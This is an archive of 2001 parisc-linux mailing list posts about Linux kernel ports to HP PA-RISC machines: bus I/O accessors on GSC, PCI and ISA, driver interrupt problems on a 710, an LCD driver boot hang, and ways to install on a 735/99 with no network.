Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14nTbe-0007lJ-00; Thu, 12 Apr 2001 00:00:58 +0100
In-Reply-To: <d3wv8rqc5a.fsf@lxplus015.cern.ch> from "Jes Sorensen" at Apr 12, 2001 12:56:01 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10760

> Then Linus changed his mind. You are still *only* supposed to use
> readb/writeb on PCI (and possible ISA) on PCI like devices.

ISA is a PCI like device, its a wacky slow motion PCI bridge with no 
configuration space ;).





From - Thu Nov 08 21:17:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: Thu, 12 Apr 2001 00:36:06 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010412003606.A20002@parcelfarce.linux.theplanet.co.uk>
References: <20010411211337.C26010@parcelfarce.linux.theplanet.co.uk> <d366gbrxgu.fsf@lxplus015.cern.ch> <20010411213458.D26010@parcelfarce.linux.theplanet.co.uk> <d31yqzrwtz.fsf@lxplus015.cern.ch> <20010411235104.A19570@parcelfarce.linux.theplanet.co.uk> <d3wv8rqc5a.fsf@lxplus015.cern.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620026 17840 80.91.229.3 (22 Nov 2014 01:33:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:46 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: Jes Sorensen <jes@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 11 17:36:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4AE2D482A
	for <parisc-linux@parisc-linux.org>; Wed, 11 Apr 2001 17:36:13 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14nU9e-00064b-00; Thu, 12 Apr 2001 00:36:06 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <d3wv8rqc5a.fsf@lxplus015.cern.ch>; from jes@linuxcare.com on Thu, Apr 12, 2001 at 12:56:01AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10761

On Thu, Apr 12, 2001 at 12:56:01AM +0200, Jes Sorensen wrote:
> Then Linus changed his mind. You are still *only* supposed to use
> readb/writeb on PCI (and possible ISA) on PCI like devices.

I've heard this before.  But no-one ever came up with an example of what
_was_ `PCI-like'.  Since right now our writeb is #defined to gsc_writeb,
that leads me to believe GSC is sufficiently PCI-like.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: 12 Apr 2001 20:48:28 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <d3pueirm2r.fsf@lxplus015.cern.ch>
References: <E14nTbe-0007lJ-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620027 17845 80.91.229.3 (22 Nov 2014 01:33:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:47 +0000 (UTC)
Cc: matthew@wil.cx (Matthew Wilcox), parisc-linux@parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 12 12:48:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.cern.ch (smtp1.cern.ch [137.138.128.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE612482A
	for <parisc-linux@parisc-linux.org>; Thu, 12 Apr 2001 12:48:35 -0600 (MDT)
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id UAA04849;
	Thu, 12 Apr 2001 20:48:29 +0200 (MET DST)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id UAA29278;
	Thu, 12 Apr 2001 20:48:29 +0200
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Alan Cox's message of "Thu, 12 Apr 2001 00:00:56 +0100 (BST)"
Original-Lines: 12
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:10762

>>>>> "Alan" == Alan Cox <alan@lxorguk.ukuu.org.uk> writes:

>> Then Linus changed his mind. You are still *only* supposed to use
>> readb/writeb on PCI (and possible ISA) on PCI like devices.

Alan> ISA is a PCI like device, its a wacky slow motion PCI bridge
Alan> with no configuration space ;).

True, but is GSC sufficiently similar? (note, I don't have intimate
knowledge about GSC).

Jes




From - Thu Nov 08 21:17:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: buffalo bill <buffalo@uranus.solar-system.the7lg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 710 SCSI & LAN problems
Date: Thu, 12 Apr 2001 23:04:42 +0200
Organization: the 7 los gediegos
Lines: 12
Approved: news@gmane.org
Message-ID: <01041223044200.22122@venus.solar-system.the7lg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620027 17848 80.91.229.3 (22 Nov 2014 01:33:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 12 15:05:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F59C482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Apr 2001 15:05:07 -0600 (MDT)
Original-Received: from fwd02.aul.t-online.de 
	by mailout05.sul.t-online.com with smtp 
	id 14noGp-0001bi-01; Thu, 12 Apr 2001 23:04:51 +0200
Original-Received: from venus.solar-system.the7lg.de (320012128287-0001@[62.156.36.52]) by fmrl02.sul.t-online.com
	with esmtp id 14noGh-0IQpG4C; Thu, 12 Apr 2001 23:04:43 +0200
Original-Received: from localhost (localhost [[UNIX: localhost]])
	by venus.solar-system.the7lg.de (8.11.0/8.8.7) id f3CL4hL22977
	for parisc-linux@lists.parisc-linux.org; Thu, 12 Apr 2001 23:04:43 +0200
X-Mailer: KMail [version 1.1.99]
X-Sender: 320012128287-0001@t-dialin.net
Original-Sender: buffalo@venus.solar-system.the7lg.de
Xref: news.gmane.org gmane.linux.ports.parisc:10763

Hi !
I've tried to get my 710 running with parisc linux.
I know there are problems with SCSI and LAN, so tried to find out.
The drivers both fail to call "pci_alloc_consistent()" and use memory from
__get_free_pages() instead. 

Could it be that the problem is related to this ?

Regards Heiko Jakob




From - Thu Nov 08 21:17:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] lcd driver broken on C3K
Date: Thu, 12 Apr 2001 16:04:17 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20010412220417.759E537E95@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620027 17851 80.91.229.3 (22 Nov 2014 01:33:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:47 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 12 16:01:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4EF96482A
	for <parisc-linux@parisc-linux.org>; Thu, 12 Apr 2001 16:01:36 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id B2D239DD
	for <parisc-linux@parisc-linux.org>; Thu, 12 Apr 2001 18:01:35 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 759E537E95
	for <parisc-linux@parisc-linux.org>; Thu, 12 Apr 2001 16:04:17 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:10764

After updating the kernel on my C3000 today it now hangs on boot at,

led_init: chassis info: model=0 (LCD), lcd_width=16, cmd_delay=40, actcnt=32, 
m2led_init: min_cmd_delay = 40 uS
LCD display at f0190000,f0190001 registered
Searching for devices...


I turned off CONFIG_CHASSIS_LCD_LED in my config and then it boots fine.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 710 SCSI & LAN problems
Date: Thu, 12 Apr 2001 23:12:57 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010412231257.D11226@linuxcare.com>
References: <01041223044200.22122@venus.solar-system.the7lg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620028 17854 80.91.229.3 (22 Nov 2014 01:33:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: buffalo bill <buffalo@uranus.solar-system.the7lg.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 12 16:12:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 147CA482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Apr 2001 16:12:17 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id AAC1EB007; Thu, 12 Apr 2001 23:12:57 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <01041223044200.22122@venus.solar-system.the7lg.de>; from buffalo@uranus.solar-system.the7lg.de on Thu, Apr 12, 2001 at 11:04:42PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:10765

On Thu, Apr 12, 2001 at 11:04:42PM +0200, buffalo bill wrote:
> Hi !
> I've tried to get my 710 running with parisc linux.
> I know there are problems with SCSI and LAN, so tried to find out.
> The drivers both fail to call "pci_alloc_consistent()" and use memory from
> __get_free_pages() instead. 
> 
> Could it be that the problem is related to this ?

No, that is expected behaviour on older systems with non-consistent
memory.  The problem appears to be with interrupt routing from the
scsi and lan chips to the cpu, and we don't have the documentation to
resolve that at the moment.

Richard





From - Thu Nov 08 21:17:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: buffalo bill <buffalo@uranus.solar-system.the7lg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 710 SCSI & LAN problems
Date: Fri, 13 Apr 2001 00:22:48 +0200
Organization: the 7 los gediegos
Lines: 20
Approved: news@gmane.org
Message-ID: <01041300224801.22122@venus.solar-system.the7lg.de>
References: <01041223044200.22122@venus.solar-system.the7lg.de> <20010412231257.D11226@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620028 17859 80.91.229.3 (22 Nov 2014 01:33:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 12 16:23:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout03.sul.t-online.com (mailout03.sul.t-online.com [194.25.134.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id CAE66482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Apr 2001 16:23:01 -0600 (MDT)
Original-Received: from fwd03.aul.t-online.de 
	by mailout03.sul.t-online.com with smtp 
	id 14npUR-0004Xa-03; Fri, 13 Apr 2001 00:22:59 +0200
Original-Received: from venus.solar-system.the7lg.de (320012128287-0001@[62.156.36.52]) by fmrl03.sul.t-online.com
	with esmtp id 14npUL-2I0NuqC; Fri, 13 Apr 2001 00:22:53 +0200
Original-Received: from localhost (localhost [[UNIX: localhost]])
	by venus.solar-system.the7lg.de (8.11.0/8.8.7) id f3CMMnS23618;
	Fri, 13 Apr 2001 00:22:49 +0200
X-Mailer: KMail [version 1.1.99]
In-Reply-To: <20010412231257.D11226@linuxcare.com>
X-Sender: 320012128287-0001@t-dialin.net
Original-Sender: buffalo@venus.solar-system.the7lg.de
Xref: news.gmane.org gmane.linux.ports.parisc:10766

> No, that is expected behaviour on older systems with non-consistent
> memory.  The problem appears to be with interrupt routing from the
> scsi and lan chips to the cpu, and we don't have the documentation to
> resolve that at the moment.
>
> Richard

Thank you for your answer.

I almost forgot to say: HIL is also broken on the 710.
I guess there is nothing recently working on the 710 that needs to handle 
with interrupts.

Could you tell me on which chip is the interrupt handling done ?
Is there something like a APIC ?

Heiko




From - Thu Nov 08 21:17:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: Fri, 13 Apr 2001 01:02:15 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <200104130702.BAA30672@puffin.external.hp.com>
References: <d3wv8rqc5a.fsf@lxplus015.cern.ch>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620028 17864 80.91.229.3 (22 Nov 2014 01:33:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:48 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jes Sorensen <jes@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 13 01:08:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8CD10482A
	for <parisc-linux@parisc-linux.org>; Fri, 13 Apr 2001 01:08:42 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id BAA30672;
	Fri, 13 Apr 2001 01:02:15 -0600
In-Reply-To: Your message of "12 Apr 2001 00:56:01 +0200."
             <d3wv8rqc5a.fsf@lxplus015.cern.ch> 
Xref: news.gmane.org gmane.linux.ports.parisc:10767

Jes Sorensen wrote:
> Then Linus changed his mind. You are still *only* supposed to use
> readb/writeb on PCI (and possible ISA) on PCI like devices.

Jes,
AFAIK, STI devices will all be memory mapped devices.
readb/writeb will do the right thing since GSC is "PCI-like"
in this regard.

BTW, I'm not aware of any HP EISA graphics devices - only GSC devices 
with an EISA form-factor. So the answer is GSC and PCI device.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: Fri, 13 Apr 2001 01:04:22 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <200104130704.BAA30742@puffin.external.hp.com>
References: <E14nTbe-0007lJ-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620029 17867 80.91.229.3 (22 Nov 2014 01:33:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:49 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 13 01:11:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B98A482A
	for <parisc-linux@parisc-linux.org>; Fri, 13 Apr 2001 01:11:07 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id BAA30742;
	Fri, 13 Apr 2001 01:04:22 -0600
In-Reply-To: Your message of "Thu, 12 Apr 2001 00:00:56 BST."
             <E14nTbe-0007lJ-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:10768

Alan Cox wrote:
> > Then Linus changed his mind. You are still *only* supposed to use
> > readb/writeb on PCI (and possible ISA) on PCI like devices.
> 
> ISA is a PCI like device, its a wacky slow motion PCI bridge with no 
> configuration space ;).

And no memory mapped I/O. Just I/O port space afaik.

grant




From - Thu Nov 08 21:17:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matthew van de Werken" <mvdw73@one.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting 735/99
Date: Fri, 13 Apr 2001 22:28:27 +1000
Lines: 26
Approved: news@gmane.org
Message-ID: <007701c0c415$3f4779a0$1401a8c0@peewee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620029 17870 80.91.229.3 (22 Nov 2014 01:33:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:49 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 13 06:23:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-ob01.one.net.au (mail-ob01.one.net.au [61.12.0.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B288482A
	for <parisc-linux@parisc-linux.org>; Fri, 13 Apr 2001 06:23:49 -0600 (MDT)
Original-Received: Received: [from peewee (async207-bri-isp-8.nas.one.net.au [61.12.64.208])
	by mail-ob01.one.net.au  with SMTP id f3DCNmK16315
	for <parisc-linux@parisc-linux.org>; Fri, 13 Apr 2001 22:23:49 +1000 (EST)]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:10769

Hi folks:

I have a 735/99, onto which I'd like to install hppa-linux. However, I don't
have any of the usual methods of installing software (I have no bootable
CD-ROM, no tape, no network (without linux - chicken and egg problem).

Hwever, I *do* have a SCSI disk and a linux-x86 box onto which I can mount
this disk temporarily. What I'd like to be able to do is to dump a disk
image onto this disk, then transfer it to the 735, and boot from there. Is
this possible? Is there a disk image somewhere I can use for this?

Alternatively, can I build a bootable disk manually on the SCSI disk from
the x86 box? If I do this, what do I need to do? I tried to do the
instructions on the "Installing PA-RISC Linux" page, however I couldn't
mount the "f0" type partition (for obvious reasons), even if I had known
what to put there once I had.

Any help greatly appreciated at this stage,

Cheers,
Matt van de Werken.






From - Thu Nov 08 21:17:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: Fri, 13 Apr 2001 13:52:54 +0100 (BST)
Lines: 10
Approved: news@gmane.org
Message-ID: <E14o34K-0002o5-00@the-village.bc.nu>
References: <200104130704.BAA30742@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620029 17873 80.91.229.3 (22 Nov 2014 01:33:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:49 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox),
	parisc-linux@parisc-linux.org
To: grundler@puffin.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 13 06:51:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89E5B482A
	for <parisc-linux@parisc-linux.org>; Fri, 13 Apr 2001 06:51:15 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14o34K-0002o5-00; Fri, 13 Apr 2001 13:52:56 +0100
In-Reply-To: <200104130704.BAA30742@puffin.external.hp.com> from "Grant Grundler" at Apr 13, 2001 01:04:22 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10770

> > ISA is a PCI like device, its a wacky slow motion PCI bridge with no 
> > configuration space ;).
> 
> And no memory mapped I/O. Just I/O port space afaik.

ISA bus has MMIO, including busmastering. 





From - Thu Nov 08 21:17:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] floating point
Date: Fri, 13 Apr 2001 09:09:29 -0600
Lines: 8
Approved: news@gmane.org
Message-ID: <E14o5CT-0004yC-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620030 17876 80.91.229.3 (22 Nov 2014 01:33:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:50 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 13 09:09:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 99F31482A
	for <parisc-linux@parisc-linux.org>; Fri, 13 Apr 2001 09:09:31 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP id AC6A8D1D
	for <parisc-linux@parisc-linux.org>; Fri, 13 Apr 2001 11:09:30 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id JAA22719
	for <parisc-linux@parisc-linux.org>; Fri, 13 Apr 2001 09:09:29 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14o5CT-0004yC-00
	for <parisc-linux@parisc-linux.org>; Fri, 13 Apr 2001 09:09:29 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:10771

Yesterday I committed a bunch of floating-point stuff, so if you have
a floating-point app (SETI?) which was failing before, grab a new
set of kernel sources and give it a try.

	-P




From - Thu Nov 08 21:17:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 735/99
Followup-To: gmane.linux.ports.hppa
Date: Fri, 13 Apr 2001 23:31:54 +0800
Lines: 35
Approved: news@gmane.org
Message-ID: <20010413233152.F8797@neep.com.au>
References: <007701c0c415$3f4779a0$1401a8c0@peewee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620030 17878 80.91.229.3 (22 Nov 2014 01:33:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:50 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 13 09:32:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-01.iinet.net.au [203.59.24.16])
	by dsl2.external.hp.com (Postfix) with SMTP id 7051A482A
	for <parisc-linux@parisc-linux.org>; Fri, 13 Apr 2001 09:32:07 -0600 (MDT)
Original-Received: (qmail 633 invoked by uid 666); 13 Apr 2001 15:31:58 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.109.200)
  by mail.iinet.net.au with SMTP; 13 Apr 2001 15:31:58 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id XAA03262
	for parisc-linux@parisc-linux.org; Fri, 13 Apr 2001 23:31:57 +0800
Mail-Followup-To: parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <007701c0c415$3f4779a0$1401a8c0@peewee>; from mvdw73@one.net.au on Fri, Apr 13, 2001 at 10:28:27PM +1000
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:10772

Matthew van de Werken said:
> I have a 735/99, onto which I'd like to install hppa-linux. However, I don't
> have any of the usual methods of installing software (I have no bootable
> CD-ROM, no tape, no network (without linux - chicken and egg problem).
> 
> Hwever, I *do* have a SCSI disk and a linux-x86 box onto which I can mount
> this disk temporarily. What I'd like to be able to do is to dump a disk
> image onto this disk, then transfer it to the 735, and boot from there. Is
> this possible? Is there a disk image somewhere I can use for this?

By "no network" do you mean the 735 doesn't have a network interface?
Or it does, but there's no network for you to connect it to?

If you're able to move that i386 Linux box to where the 735 is, or
vice-versa, so that you can connect them via Ethernet, then that would
likely be the easiest option.  Then with a bootp server (or a dhcpd that
can do bootp, eg the ISC dhcp server) on the Linux box you can serve the
735 a kernel to boot from and an NFS filesystem to mount.

As far as making that SCSI disk bootable to the HP, I have no idea if
this would work but you could try taking the current (out-of-date) CD
image from the FTP site and just writing it to the SCSI disk with dd.
I don't think a partition table written on the i386 would be readable by
the HP box though.

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:17:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
